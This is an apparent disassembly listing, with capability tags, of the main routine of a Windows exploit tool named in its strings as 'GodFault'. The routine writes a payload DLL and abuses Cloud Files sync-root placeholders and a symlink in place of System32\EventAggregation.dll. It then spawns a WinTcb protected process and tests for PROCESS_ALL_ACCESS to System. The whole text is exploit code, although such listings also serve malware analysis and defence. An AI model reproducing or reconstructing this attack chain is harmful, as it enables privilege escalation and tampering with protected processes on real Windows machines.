Function at 0x140002dc0
Capabilities:
Create directory
Terminate process
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rsi
push rdi
sub rsp, 0x1f8
mov qword [rsp + 0xb0], 0xfffffffffffffffe
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1e8], rax
mov dword [rsp + 0x50], 1
mov dword [rsp + 0x180], 0
mov dword [rsp + 0x94], 0
mov dword [rsp + 0x40], 0
lea rax, [rsp + 0x1c0]
mov rdi, rax
xor eax, eax
mov ecx, 8
rep stosb byte [rdi], al
lea rcx, [rsp + 0x1a0]
call fcn.140001670
nop
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0xc0], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x44], eax
mov rax, qword gs:[0x30]
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0x98]
mov rax, qword [rax + 0x60]
movzx eax, word [rax + 0x120]
cmp eax, 0x3839
jge 0x140002eb6
lea rdx, str.This_tool_requires_Windows_10
mov ecx, 3
call fcn.140005ca0
mov dword [rsp + 0x6c], 1
lea rcx, [rsp + 0x1a0]
call fcn.140001610
mov eax, dword [rsp + 0x6c]
jmp 0x1400037c4
call fcn.140002bd0
movzx eax, al
test eax, eax
jne 0x140002ee0
mov dword [rsp + 0x70], 1
lea rcx, [rsp + 0x1a0]
call fcn.140001610
mov eax, dword [rsp + 0x70]
jmp 0x1400037c4
cmp dword [rsp + 0x210], 2
jl 0x140002f3a
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rsp + 0x218]
mov rdx, qword [rcx + rax]
lea rcx, [0x140023108]
call fcn.14000a460
test eax, eax
jne 0x140002f3a
xor ecx, ecx
call fcn.140005c90
mov eax, dword [rsp + 0x210]
dec eax
mov dword [rsp + 0x210], eax
mov rax, qword [rsp + 0x218]
add rax, 8
mov qword [rsp + 0x218], rax
cmp dword [rsp + 0x210], 2
jl 0x140002fd3
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rsp + 0x218]
mov rdx, qword [rcx + rax]
lea rcx, [0x140023110]
call fcn.14000a460
test eax, eax
jne 0x140002fd3
mov eax, dword [rsp + 0x210]
dec eax
mov dword [rsp + 0x210], eax
mov rax, qword [rsp + 0x218]
add rax, 8
mov qword [rsp + 0x218], rax
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rsp + 0x218]
mov rcx, qword [rcx + rax]
call fcn.14000afe8
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x210]
dec eax
mov dword [rsp + 0x210], eax
mov rax, qword [rsp + 0x218]
add rax, 8
mov qword [rsp + 0x218], rax
xor edx, edx
mov ecx, dword [rsp + 0x44]
call fcn.140001230
movzx eax, al
test eax, eax
je 0x140003030
call fcn.140002970
mov r8, rax
lea rdx, str.Initial_blessing_successful
mov ecx, 1
call fcn.140005ca0
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp eax, dword [rsp + 0x44]
jne 0x140003028
call fcn.140002970
mov r8, rax
lea rdx, str.Testing_post_exploit_ability_to_acquire_PROCESS_ALL_ACCESS_to_System:__s
mov ecx, 1
call fcn.140005ca0
call fcn.1400029c0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.140002640
xor edx, edx
lea rcx, str.C:GodFaultTemp_
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 5
mov edx, 0x80000000
lea rcx, str.C:WindowsSystem32EventAggregation.dll
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [0x140028d40], rax
cmp qword [0x140028d40], 0xffffffffffffffff
jne 0x1400030c8
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea r9, str.C:WindowsSystem32EventAggregation.dll
mov r8d, eax
lea rdx, str.Failed_to_open_file_with_GLE__u:__ws
mov ecx, 3
call fcn.140005ca0
mov dword [rsp + 0x74], 1
lea rcx, [rsp + 0x1a0]
call fcn.140001610
mov eax, dword [rsp + 0x74]
jmp 0x1400037c4
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x4000080
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x10000000
lea rcx, str.C:GodFaultTempGodFaultPayload.dll
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [0x140028d88], rax
cmp qword [0x140028d88], 0xffffffffffffffff
jne 0x140003149
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea r9, str.C:GodFaultTempGodFaultPayload.dll
mov r8d, eax
lea rdx, str.Failed_to_open_file_with_GLE__u:__ws
mov ecx, 3
call fcn.140005ca0
mov dword [rsp + 0x78], 1
lea rcx, [rsp + 0x1a0]
call fcn.140001610
mov eax, dword [rsp + 0x78]
jmp 0x1400037c4
mov rax, qword [0x140028d40]
mov qword [0x140028d70], rax
lea rdx, [rsp + 0x1a0]
mov rcx, qword [0x140028d40]
call fcn.140005780
movzx eax, al
test eax, eax
jne 0x1400031a1
lea rdx, str.Failed_to_build_payload
mov ecx, 3
call fcn.140005ca0
mov dword [rsp + 0x7c], 1
lea rcx, [rsp + 0x1a0]
call fcn.140001610
mov eax, dword [rsp + 0x7c]
jmp 0x1400037c4
lea rcx, [rsp + 0x1a0]
call fcn.1400016a0
mov rcx, rax
call fcn.140003d50
mov qword [rsp + 0xa0], rax
lea rcx, [rsp + 0x1a0]
call fcn.1400015e0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x180]
mov r8d, eax
mov rdx, qword [rsp + 0xa0]
mov rcx, qword [0x140028d88]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x140003221
mov eax, dword [rsp + 0x180]
mov qword [rsp + 0xa8], rax
lea rcx, [rsp + 0x1a0]
call fcn.1400015e0
mov rcx, qword [rsp + 0xa8]
cmp rcx, rax
je 0x140003266
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea r9, str.C:GodFaultTempGodFaultPayload.dll
mov r8d, eax
lea rdx, str.Failed_to_write_payload_file_with_GLE__u:__ws
mov ecx, 3
call fcn.140005ca0
mov dword [rsp + 0x80], 1
lea rcx, [rsp + 0x1a0]
call fcn.140001610
mov eax, dword [rsp + 0x80]
jmp 0x1400037c4
lea rax, [rsp + 0x130]
mov rdi, rax
xor eax, eax
mov ecx, 0x48
rep stosb byte [rdi], al
mov dword [rsp + 0x130], 0x48
lea rax, [0x140023270]
mov qword [rsp + 0x138], rax
lea rax, [0x140023278]
mov qword [rsp + 0x140], rax
mov dword [rsp + 0x58], 0x119c6523
mov eax, 0x407b
mov word [rsp + 0x5c], ax
mov eax, 0x446b
mov word [rsp + 0x5e], ax
mov byte [rsp + 0x60], 0xb0
mov byte [rsp + 0x61], 0xe3
mov byte [rsp + 0x62], 0xe0
mov byte [rsp + 0x63], 0x30
mov byte [rsp + 0x64], 0x11
mov byte [rsp + 0x65], 0x17
mov byte [rsp + 0x66], 0x8f
mov byte [rsp + 0x67], 0x50
lea rax, [rsp + 0x164]
lea rcx, [rsp + 0x58]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x188]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x18c]
call fcn.1400019a0
lea rcx, [rsp + 0x18e]
call fcn.1400019a0
lea rcx, [rsp + 0x190]
call fcn.1400019a0
lea rcx, [rsp + 0x192]
call fcn.1400019a0
lea rax, [rsp + 0x194]
mov rdi, rax
xor eax, eax
mov ecx, 0xc
rep stosb byte [rdi], al
mov dword [rsp + 0x188], 0x18
mov dword [rsp + 0x198], 1
xor edx, edx
lea rcx, [rsp + 0x48]
call fcn.1400019b0
movzx eax, word [rsp + 0x48]
mov word [rsp + 0x18c], ax
xor edx, edx
lea rcx, [rsp + 0x4a]
call fcn.1400019b0
movzx eax, word [rsp + 0x4a]
mov word [rsp + 0x18e], ax
mov dword [rsp + 0x194], 0
mov dword [rsp + 0x19c], 0
xor edx, edx
lea rcx, [rsp + 0x4c]
call fcn.1400019b0
movzx eax, word [rsp + 0x4c]
mov word [rsp + 0x190], ax
mov r9d, 2
lea r8, [rsp + 0x188]
lea rdx, [rsp + 0x130]
lea rcx, str.C:GodFaultTemp_
call qword [sym.imp.CLDAPI.dll_CfRegisterSyncRoot]
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0
jge 0x140003445
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r9d, eax
mov r8d, dword [rsp + 0x40]
lea rdx, str.CfRegisterSyncRoot_failed_with_HR_0x_08x_GLE__u
mov ecx, 3
call fcn.140005ca0
mov dword [rsp + 0x84], 1
lea rcx, [rsp + 0x1a0]
call fcn.140001610
mov eax, dword [rsp + 0x84]
jmp 0x1400037c4
lea rax, [rsp + 0x1c8]
mov rdi, rax
xor eax, eax
mov ecx, 0x20
rep stosb byte [rdi], al
mov eax, 0x10
imul rax, rax, 0
lea rcx, [0x140001ba0]
mov qword [rsp + rax + 0x1d0], rcx
mov eax, 0x10
imul rax, rax, 0
mov dword [rsp + rax + 0x1c8], 0
mov eax, 0x10
imul rax, rax, 1
mov dword [rsp + rax + 0x1c8], 0xffffffff
lea rax, [0x140028d90]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x1c8]
lea rcx, str.C:GodFaultTemp_
call qword [sym.imp.CLDAPI.dll_CfConnectSyncRoot]
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0
jge 0x14000351b
lea rcx, str.C:GodFaultTemp_
call qword [sym.imp.CLDAPI.dll_CfUnregisterSyncRoot]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r9d, eax
mov r8d, dword [rsp + 0x40]
lea rdx, str.CfConnectSyncRoot_failed_with_HR_0x_08x_GLE__u
mov ecx, 3
call fcn.140005ca0
mov dword [rsp + 0x88], 1
lea rcx, [rsp + 0x1a0]
call fcn.140001610
mov eax, dword [rsp + 0x88]
jmp 0x1400037c4
lea r8, [0x140028d48]
xor edx, edx
lea rcx, str.C:WindowsSystem32EventAggregation.dll
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
lea rax, [rsp + 0xd0]
mov rdi, rax
xor eax, eax
mov ecx, 0x58
rep stosb byte [rdi], al
mov eax, dword [0x140028d64]
mov dword [rsp + 0x104], eax
mov eax, dword [0x140028d68]
mov dword [rsp + 0x100], eax
mov eax, dword [0x140028d48]
mov dword [rsp + 0xf8], eax
mov eax, dword [0x140028d4c]
mov dword [rsp + 0xd8], eax
mov eax, dword [0x140028d50]
mov dword [rsp + 0xdc], eax
lea rax, str.EventAggregationPH.dll
mov qword [rsp + 0xd0], rax
mov edx, 2
mov ecx, 4
call fcn.140001990
mov dword [rsp + 0x114], eax
mov dword [rsp + 0x110], 0x130
mov eax, dword [rsp + 0x110]
mov ecx, eax
call fcn.14000b394
mov qword [rsp + 0x108], rax
mov dword [rsp + 0x184], 0
lea rax, [rsp + 0x184]
mov qword [rsp + 0x20], rax
mov r9d, 1
mov r8d, 1
lea rdx, [rsp + 0xd0]
lea rcx, str.C:GodFaultTemp_
call qword [sym.imp.CLDAPI.dll_CfCreatePlaceholders]
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0
jl 0x14000361a
cmp dword [rsp + 0x184], 1
je 0x14000366a
lea rcx, str.C:GodFaultTemp_
call qword [sym.imp.CLDAPI.dll_CfUnregisterSyncRoot]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r9d, eax
mov r8d, dword [rsp + 0x40]
lea rdx, str.CfCreatePlaceholders_failed_with_HR_0x_08x_GLE__u
mov ecx, 3
call fcn.140005ca0
mov dword [rsp + 0x8c], 1
lea rcx, [rsp + 0x1a0]
call fcn.140001610
mov eax, dword [rsp + 0x8c]
jmp 0x1400037c4
call fcn.1400024e0
movzx eax, al
test eax, eax
jne 0x1400036ab
lea rdx, str.InstallSymlink_failed.__Aborting.
mov ecx, 3
call fcn.140005ca0
mov dword [rsp + 0x90], 1
lea rcx, [rsp + 0x1a0]
call fcn.140001610
mov eax, dword [rsp + 0x90]
jmp 0x1400037c4
lea r8, str.C:WindowsSystem32EventAggregation.dll.bak
lea rdx, str.Benign:__ws
xor ecx, ecx
call fcn.140005ca0
lea r8, str.C:GodFaultTempGodFaultPayload.dll
lea rdx, str.Payload:__ws
xor ecx, ecx
call fcn.140005ca0
lea r8, str.C:GodFaultTempEventAggregationPH.dll
lea rdx, str.Placeholder:__ws
xor ecx, ecx
call fcn.140005ca0
call fcn.1400019c0
movzx eax, al
test eax, eax
jne 0x1400036fb
jmp 0x140003789
call fcn.140002970
mov r8, rax
lea rdx, str.Testing_initial_ability_to_acquire_PROCESS_ALL_ACCESS_to_System:__s
mov ecx, 1
call fcn.140005ca0
lea rdx, str.Ready.__Spawning_WinTcb.
mov ecx, 1
call fcn.140005ca0
call fcn.140002770
movzx eax, al
test eax, eax
jne 0x140003733
jmp 0x140003789
call fcn.140002640
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dl, 1
mov ecx, dword [rsp + 0x44]
call fcn.140001230
movzx eax, al
test eax, eax
jne 0x140003757
jmp 0x140003789
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp eax, dword [rsp + 0x44]
jne 0x140003781
call fcn.140002970
mov r8, rax
lea rdx, str.Testing_post_exploit_ability_to_acquire_PROCESS_ALL_ACCESS_to_System:__s
mov ecx, 1
call fcn.140005ca0
call fcn.1400029c0
mov dword [rsp + 0x50], 0
call fcn.140001b60
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.C:GodFaultTemp_
call qword [sym.imp.CLDAPI.dll_CfUnregisterSyncRoot]
call fcn.140002640
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x68], eax
lea rcx, [rsp + 0x1a0]
call fcn.140001610
mov eax, dword [rsp + 0x68]
mov rcx, qword [rsp + 0x1e8]
xor rcx, rsp
call fcn.140006770
add rsp, 0x1f8
pop rdi
pop rsi
ret